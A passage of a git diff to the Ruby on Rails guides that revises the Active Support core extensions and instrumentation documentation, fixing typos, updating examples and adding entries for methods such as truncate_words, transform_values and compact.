#=> ['foo', 'another-string'] +array # => ['foo'] +duplicate # => ['foo', 'another-string'] ``` As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. @@ -195,8 +201,8 @@ duplicate = array.deep_dup duplicate.first.gsub!('string', 'foo') -array #=> ['string'] -duplicate #=> ['foo'] +array # => ['string'] +duplicate # => ['foo'] ``` If the object is not duplicable, `deep_dup` will just return it: @@ -418,13 +424,20 @@ TIP: Since `with_options` forwards calls to its receiver they can be nested. Eac NOTE: Defined in `active_support/core_ext/object/with_options.rb`. +### JSON support + +Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation. + +NOTE: Defined in `active_support/core_ext/object/json.rb`. + ### Instance Variables Active Support provides several methods to ease access to instance variables. -#### `instance_variable_names` +#### `instance_values` -Ruby 1.8 and 1.9 have a method called `instance_variables` that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines `instance_variable_names` as a portable way to obtain them as strings: +The method `instance_values` returns a hash that maps instance variable names without "@" to their +corresponding values. Keys are strings: ```ruby class C @@ -433,17 +446,14 @@ class C end end -C.new(0, 1).instance_variable_names # => ["@y", "@x"] +C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} ``` -WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter. - NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. -#### `instance_values` +#### `instance_variable_names` -The method `instance_values` returns a hash that maps instance variable names without "@" to their -corresponding values. Keys are strings: +The method `instance_variable_names` returns an array. Each name includes the "@" sign. ```ruby class C @@ -452,7 +462,7 @@ class C end end -C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} +C.new(0, 1).instance_variable_names # => ["@x", "@y"] ``` NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. @@ -494,12 +504,11 @@ NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`. ### `in?` -The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`. +The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`. Examples of `in?`: ```ruby -1.in?(1,2) # => true 1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false @@ -565,12 +574,12 @@ NOTE: Defined in `active_support/core_ext/module/aliasing.rb`. #### `alias_attribute` -Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment): +Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (one mnemonic is that they go in the same order as if you did an assignment): ```ruby class User < ActiveRecord::Base - # let me refer to the email column as "login", - # possibly meaningful for authentication code + # You can refer to the email column as "login". + # This can be meaningful for authentication code. alias_attribute :login, :email end ``` @@ -617,7 +626,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. #### Module Attributes -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: @@ -728,7 +737,7 @@ X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] ``` -The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) +The names are returned as symbols. NOTE: Defined in `active_support/core_ext/module/introspection.rb`. @@ -754,7 +763,7 @@ Arguments may be bare constant names: Math.qualified_const_get("E") # => 2.718281828459045 ``` -These methods are analogous to their builtin counterparts. In particular, +These methods are analogous to their built-in counterparts. In particular, `qualified_constant_defined?` accepts an optional second argument to be able to say whether you want the predicate to look in the ancestors. This flag is taken into account for each constant in the expression while @@ -785,7 +794,7 @@ N.qualified_const_defined?("C::X") # => true As the last example implies, the second argument defaults to true, as in `const_defined?`. -For coherence with the builtin methods only relative paths are accepted. +For coherence with the built-in methods only relative paths are accepted. Absolute qualified constant names like `::Math::PI` raise `NameError`. NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`. @@ -881,7 +890,7 @@ class User < ActiveRecord::Base end ``` -With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby class User < ActiveRecord::Base @@ -920,7 +929,7 @@ When interpolated into a string, the `:to` option should become an expression th delegate :logger, to: :Rails # delegates to the receiver's class -delegate :table_name, to: 'self.class' +delegate :table_name, to: :class ``` WARNING: If the `:prefix` option is `true` this is less generic, see below. @@ -957,20 +966,7 @@ NOTE: Defined in `active_support/core_ext/module/delegation.rb` There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either. -The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API: - -```ruby -redefine_method("#{reflection.name}=") do |new_value| - association = association_instance_get(reflection.name) - - if association.nil? || association.target != new_value - association = association_proxy_class.new(self, reflection) - end - - association.replace(new_value) - association_instance_set(reflection.name, new_value.nil? ? nil : association) -end -``` +The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. NOTE: Defined in `active_support/core_ext/module/remove_method.rb` @@ -1017,7 +1013,7 @@ self.default_params = { }.freeze ``` -They can be also accessed and overridden at the instance level. +They can also be accessed and overridden at the instance level. ```ruby A.x = 1 @@ -1057,6 +1053,8 @@ For convenience `class_attribute` also defines an instance predicate which is th When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method. +If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined. + NOTE: Defined in `active_support/core_ext/class/attribute.rb` #### `cattr_reader`, `cattr_writer`, and `cattr_accessor` @@ -1084,6 +1082,15 @@ end we can access `field_error_proc` in views. +Also, you can pass a block to `cattr_*` to set up the attribute with a default value: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans with default value of true. + cattr_accessor(:emulate_booleans) { true } +end +``` + The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. ```ruby @@ -1101,7 +1108,7 @@ end A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. ### Subclasses & Descendants @@ -1160,9 +1167,9 @@ Inserting data into HTML templates needs extra care. For example, you can't just #### Safe Strings -Active Support has the concept of <i>(html) safe</i> strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. +Active Support has the concept of _(html) safe_ strings. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. -Strings are considered to be <i>unsafe</i> by default: +Strings are considered to be _unsafe_ by default: ```ruby "".html_safe? # => false @@ -1241,6 +1248,18 @@ Calling `to_s` on a safe string returns a safe string, but coercion with `to_str Calling `dup` or `clone` on safe strings yields safe strings. +### `remove` + +The method `remove` will remove all occurrences of the pattern: + +```ruby +"Hello World".remove(/Hello /) => "World" +``` + +There's also the destructive version `String#remove!`. + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + ### `squish` The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: @@ -1251,6 +1270,8 @@ The method `squish` strips leading and trailing whitespace, and substitutes runs There's also the destructive version `String#squish!`. +Note that it handles both ASCII and Unicode whitespace. + NOTE: Defined in `active_support/core_ext/string/filters.rb`. ### `truncate` @@ -1291,6 +1312,38 @@ In above examples "dear" gets cut first, but then `:separator` prevents it. NOTE: Defined in `active_support/core_ext/string/filters.rb`. +### `truncate_words` + +The method `truncate_words` returns a copy of its receiver truncated after a given number of words: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4) +# => "Oh dear! Oh dear!..." +``` + +Ellipsis can be customized with the `:omission` option: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '…') +# => "Oh dear! Oh dear!…" +``` + +Pass a `:separator` to truncate the string at a natural break: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!') +# => "Oh dear! Oh dear! I shall be late..." +``` + +The option `:separator` can be a regexp: + +```ruby +"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/) +# => "Oh dear! Oh dear!..." +``` + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + ### `inquiry` The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier. @@ -1360,7 +1413,7 @@ The second argument, `indent_string`, specifies which indent string to use. The "foo".indent(2, "\t") # => "\t\tfoo" ``` -While `indent_string` is tipically one space or tab, it may be any string. +While `indent_string` is typically one space or tab, it may be any string. The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false. @@ -1371,6 +1424,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line The `indent!` method performs indentation in-place. +NOTE: Defined in `active_support/core_ext/string/indent.rb`. + ### Access #### `at(position)` @@ -1394,7 +1449,7 @@ Returns the substring of the string starting at position `position`: "hello".from(0) # => "hello" "hello".from(2) # => "llo" "hello".from(-2) # => "lo" -"hello".from(10) # => "" if < 1.9, nil in 1.9 +"hello".from(10) # => nil ``` NOTE: Defined in `active_support/core_ext/string/access.rb`. @@ -1438,7 +1493,7 @@ The method `pluralize` returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments. -`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: +`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: ```ruby "dude".pluralize(0) # => "dudes" @@ -1449,11 +1504,10 @@ As the previous example shows, Active Support knows some irregular plurals and u Active Record uses this method to compute the default table name that corresponds to a model: ```ruby -# active_record/base.rb +# active_record/model_schema.rb def undecorated_table_name(class_name = base_class.name) table_name = class_name.to_s.demodulize.underscore - table_name = table_name.pluralize if pluralize_table_names - table_name + pluralize_table_names ? table_name.pluralize : table_name end ``` @@ -1523,7 +1577,7 @@ ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end -"SSLError".underscore.camelize #=> "SSLError" +"SSLError".underscore.camelize # => "SSLError" ``` `camelize` is aliased to `camelcase`. @@ -1611,6 +1665,9 @@ Given a string with a qualified constant name, `demodulize` returns the very con "Product".demodulize # => "Product" "Backoffice::UsersController".demodulize # => "UsersController" "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" +"::Inflections".demodulize # => "Inflections" +"".demodulize # => "" + ``` Active Record for example uses this method to compute the name of a counter cache column: @@ -1745,28 +1802,47 @@ NOTE: Defined in `active_support/core_ext/string/inflections.rb`. #### `humanize` -The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word: +The method `humanize` tweaks an attribute name for display to end users. + +Specifically performs these transformations: + + * Applies human inflection rules to the argument. + * Deletes leading underscores, if any. + * Removes a "_id" suffix if present. + * Replaces underscores with spaces, if any. + * Downcases all words except acronyms. + * Capitalizes the first word. + +The capitalization of the first word can be turned off by setting the ++:capitalize+ option to false (default is true). ```ruby -"name".humanize # => "Name" -"author_id".humanize # => "Author" -"comments_count".humanize # => "Comments count" +"name".humanize # => "Name" +"author_id".humanize # => "Author" +"author_id".humanize(capitalize: false) # => "author" +"comments_count".humanize # => "Comments count" +"_id".humanize # => "Id" ``` -The helper method `full_messages` uses `humanize` as a fallback to include attribute names: +If "SSL" was defined to be an acronym: ```ruby -def full_messages - full_messages = [] +'ssl_error'.humanize # => "SSL error" +``` - each do |attribute, messages| - ... - attr_name = attribute.to_s.gsub('.', '_').humanize - attr_name = @base.class.human_attribute_name(attribute, default: attr_name) - ... - end +The helper method `full_messages` uses `humanize` as a fallback to include +attribute names: - full_messages +```ruby +def full_messages + map { |attribute, message| full_message(attribute, message) } +end + +def full_message + ... + attr_name = attribute.to_s.tr('.', '_').humanize + attr_name = @base.class.human_attribute_name(attribute, default: attr_name) + ... end ``` @@ -1876,24 +1952,6 @@ as well as adding or subtracting their results from a Time object. For example: (4.months + 5.years).from_now ``` -While these methods provide precise calculation when used as in the examples above, care -should be taken to note that this is not true if the result of `months', `years', etc is -converted before use: - -```ruby -# equivalent to 30.days.to_i.from_now -1.month.to_i.from_now - -# equivalent to 365.25.days.to_f.from_now -1.year.to_f.from_now -``` - -In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and -[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision -date and time arithmetic. - -NOTE: Defined in `active_support/core_ext/numeric/time.rb`. - ### Formatting Enables the formatting of numbers in a variety of ways. @@ -1979,7 +2037,7 @@ Produce a string representation of a number in human-readable words: 1234567890123456.to_s(:human) # => "1.23 Quadrillion" ``` -NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`. +NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`. Extensions to `Integer` ----------------------- @@ -2027,8 +2085,33 @@ NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. Extensions to `BigDecimal` -------------------------- +### `to_s` -... +The method `to_s` is aliased to `to_formatted_s`. This provides a convenient way to display a BigDecimal value in floating-point notation: + +```ruby +BigDecimal.new(5.00, 6).to_s # => "5.0" +``` + +### `to_formatted_s` + +Te method `to_formatted_s` provides a default specifier of "F". This means that a simple call to `to_formatted_s` or `to_s` will result in floating point representation instead of engineering notation: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s # => "5.0" +``` + +and that symbol specifiers are also supported: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s(:db) # => "5.0" +``` + +Engineering notation is still supported: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s("e") # => "0.5E1" +``` Extensions to `Enumerable` -------------------------- @@ -2215,7 +2298,7 @@ This method accepts three options: * `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". * `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ". -The defaults for these options can be localised, their keys are: +The defaults for these options can be localized, their keys are: | Option | I18n key | | ---------------------- | ----------------------------------- | @@ -2223,15 +2306,15 @@ The defaults for these options can be localised, their keys are: | `:words_connector` | `support.array.words_connector` | | `:last_word_connector` | `support.array.last_word_connector` | -Options `:connector` and `:skip_last_comma` are deprecated. - NOTE: Defined in `active_support/core_ext/array/conversions.rb`. #### `to_formatted_s` The method `to_formatted_s` acts like `to_s` by default. -If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are: +If the array contains items that respond to `id`, however, the symbol +`:db` may be passed as argument. That's typically used with +collections of Active Record objects. Returned strings are: ```ruby [].to_formatted_s(:db) # => "null" @@ -2387,7 +2470,8 @@ NOTE: Defined in `active_support/core_ext/array/wrap.rb`. ### Duplicating -The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. +The method `Array.deep_dup` duplicates itself and all objects inside +recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. ```ruby array = [1, [2, 3]] @@ -2396,7 +2480,7 @@ dup[1][2] = 4 array[1][2] == nil # => true ``` -NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Grouping @@ -2413,9 +2497,9 @@ or yields them in turn if a block is passed: ```html+erb <% sample.in_groups_of(3) do |a, b, c| %> <tr> - <td><%=h a %></td> - <td><%=h b %></td> - <td><%=h c %></td> + <td><%= a %></td> + <td><%= b %></td> + <td><%= c %></td> </tr> <% end %> ``` @@ -2608,7 +2692,8 @@ NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. ### Deep duplicating -The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. +The method `Hash.deep_dup` duplicates itself and all keys and values +inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. ```ruby hash = { a: 1, b: { c: 2, d: [3, 4] } } @@ -2621,45 +2706,7 @@ hash[:b][:e] == nil # => true hash[:b][:d] == [3, 4] # => true ``` -NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`. - -### Diffing - -The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic: - -* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash. - -* If both hashes have `key`, but with different values, the pair in the receiver wins. - -* The rest is just merged. - -```ruby -{a: 1}.diff(a: 1) -# => {}, first rule - -{a: 1}.diff(a: 2) -# => {:a=>1}, second rule - -{a: 1}.diff(b: 2) -# => {:a=>1, :b=>2}, third rule - -{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4) -# => {:a=>1, :b=>2, :d=>4}, all rules - -{}.diff({}) # => {} -{a: 1}.diff({}) # => {:a=>1} -{}.diff(a: 1) # => {:a=>1} -``` - -An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice: - -```ruby -hash.diff(hash2).diff(hash2) == hash -``` - -Diffing hashes may be useful for error messages related to expected option hashes for example. - -NOTE: Defined in `active_support/core_ext/hash/diff.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Working with Keys @@ -2687,26 +2734,29 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`. The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: ```ruby -{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase } # => {"" => nil, "A" => :a, "1" => 1} ``` -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby -{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase } -# => {"A" => 2}, in my test, can't rely on this result though +{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase } +# The result could either be +# => {"A"=>2} +# or +# => {"A"=>1} ``` This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions: ```ruby def stringify_keys - transform_keys{ |key| key.to_s } + transform_keys { |key| key.to_s } end ... def symbolize_keys - transform_keys{ |key| key.to_sym rescue key } + transform_keys { |key| key.to_sym rescue key } end ``` @@ -2715,7 +2765,7 @@ There's also the bang variant `transform_keys!` that applies the block operation Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: ```ruby -{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase } +{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase } # => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}} ``` @@ -2730,11 +2780,14 @@ The method `stringify_keys` returns a hash that has a stringified version of the # => {"" => nil, "a" => :a, "1" => 1} ``` -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby {"a" => 1, a: 2}.stringify_keys -# => {"a" => 2}, in my test, can't rely on this result though +# The result could either be +# => {"a"=>2} +# or +# => {"a"=>1} ``` This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines: @@ -2771,11 +2824,14 @@ The method `symbolize_keys` returns a hash that has a symbolized version of the WARNING. Note in the previous example only one key was symbolized. -The result in case of collision is undefined: +In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: ```ruby {"a" => 1, a: 2}.symbolize_keys -# => {:a=>2}, in my test, can't rely on this result though +# The result could either be +# => {:a=>2} +# or +# => {:a=>1} ``` This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines @@ -2820,6 +2876,20 @@ Active Record does not accept unknown options when building associations, for ex NOTE: Defined in `active_support/core_ext/hash/keys.rb`. +### Working with Values + +#### `transform_values` && `transform_values!` + +The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver. + +```ruby +{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase } +# => {nil=>"", 1=>"1", :x=>"A"} +``` +There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver. + +NOTE: Defined in `active_support/core_text/hash/transform_values.rb`. + ### Slicing Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes: @@ -2881,6 +2951,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`. +### Compacting + +The methods `compact` and `compact!` return a Hash without items with `nil` value. + +```ruby +{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2} +``` + +NOTE: Defined in `active_support/core_ext/hash/compact.rb`. + Extensions to `Regexp` ---------------------- @@ -3337,7 +3417,25 @@ date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010 `beginning_of_hour` is aliased to `at_beginning_of_hour`. -INFO: `beginning_of_hour` and `end_of_hour` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour on a `Date` instance. +##### `beginning_of_minute`, `end_of_minute` + +The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010 +``` + +The method `end_of_minute` returns a timestamp at the end of the minute (hh:mm:59): + +```ruby +date = DateTime.new(2010, 6, 7, 19, 55, 25) +date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010 +``` + +`beginning_of_minute` is aliased to `at_beginning_of_minute`. + +INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance. ##### `ago`, `since` @@ -3602,9 +3700,9 @@ t.advance(seconds: 1) #### `Time.current` -Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines `Time.yesterday` and `Time.tomorrow`, and the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`. +Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`. -When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` and not `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.today` uses by default. This means `Time.now` may equal `Time.yesterday`. +When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`. #### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year` @@ -3768,7 +3866,7 @@ The name may be given as a symbol or string. A symbol is tested against the bare TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically. -For example, when an action of `PostsController` is called Rails tries optimistically to use `PostsHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `posts_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases: +For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases: ```ruby def default_helper_module! @@ -3776,7 +3874,7 @@ def default_helper_module! module_path = module_name.underscore helper module_path rescue MissingSourceFile => e - raise e unless e.is_missing? "#{module_path}_helper" + raise e unless e.is_missing? "helpers/#{module_path}_helper" rescue NameError => e raise e unless e.missing_name? "#{module_name}Helper" end @@ -3791,7 +3889,7 @@ Active Support adds `is_missing?` to `LoadError`, and also assigns that class to Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension). -For example, when an action of `PostsController` is called Rails tries to load `posts_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases: +For example, when an action of `ArticlesController` is called Rails tries to load `articles_helper.rb`, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method `is_missing?` provides a way to distinguish both cases: ```ruby def default_helper_module! diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md index 6b3be69942..0aa74e387d 100644 --- a/guides/source/active_support_instrumentation.md +++ b/guides/source/active_support_instrumentation.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Support Instrumentation ============================== @@ -17,7 +19,7 @@ After reading this guide, you will know: Introduction to instrumentation ------------------------------- -The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in <TODO: link to section detailing each hook point>. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. +The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework, as described below in (TODO: link to section detailing each hook point). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code. For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken. @@ -39,7 +41,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -51,7 +53,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -63,7 +65,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -75,7 +77,7 @@ Action Controller ```ruby { - key: 'posts/1-dasboard-view' + key: 'posts/1-dashboard-view' } ``` @@ -135,7 +137,9 @@ Action Controller | `:format` | html/js/json/xml etc | | `:method` | HTTP request verb | | `:path` | Request path | +| `:status` | HTTP status code | | `:view_runtime` | Amount spent in view in ms | +| `:db_runtime` | Amount spent executing database queries in ms | ```ruby { @@ -223,11 +227,11 @@ Active Record ### sql.active_record -| Key | Value | -| ------------ | --------------------- | -| `:sql` | SQL statement | -| `:name` | Name of the operation | -| `:object_id` | `self.object_id` | +| Key | Value | +| ---------------- | --------------------- | +| `:sql` | SQL statement | +| `:name` | Name of the operation | +| `:connection_id` | `self.object_id` | INFO. The adapters will add their own data as well. @@ -273,7 +277,7 @@ Action Mailer to: ["users@rails.com", "ddh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # ommitted for beverity + mail: "..." # omitted for brevity } ``` @@ -299,7 +303,7 @@ Action Mailer to: ["users@rails.com", "ddh@rails.com"], from: ["me@rails.com"], date: Sat, 10 Mar 2012 14:18:09 +0100, - mail: "..." # ommitted for beverity + mail: "..." # omitted for brevity } ``` @@ -364,7 +368,7 @@ INFO. Options passed to fetch will be merged with the payload. | ------ | --------------------- | | `:key` | Key used in the store | -INFO. Cache stores my add their own keys +INFO. Cache stores may add their own keys ```ruby { @@ -396,6 +400,15 @@ INFO. Cache stores my add their own keys } ``` +Railties +-------- + +### load_config_initializer.railties + +| Key | Value | +| -------------- | ----------------------------------------------------- | +| `:initializer` | Path to loaded initializer from `config/initializers` | + Rails ----- @@ -428,7 +441,7 @@ end ``` Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event` -from block args like this: +from block arguments like this: ```ruby ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| @@ -442,15 +455,16 @@ ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*a end ``` -Most times you only care about the data itself. Here is a shortuct to just get the data. +Most times you only care about the data itself. Here is a shortcut to just get the data. ```ruby ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| data = args.extract_options! data # { extra: :information } +end ``` -You may also subscribe to events matching a regular expresssion. This enables you to subscribe to +You may also subscribe to events matching a regular expression. This enables you to subscribe to multiple events at once. Here's you could subscribe to everything from `ActionController`. ```ruby @@ -465,7 +479,7 @@ Creating custom events Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block. The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times -as well as the unique ID. All data passed into the `insturment` call will make it into the payload. +as well as the unique ID. All data passed into the `instrument` call will make it into the payload. Here's an example: diff --git a/guides/source/api_documentation_guidelines.md 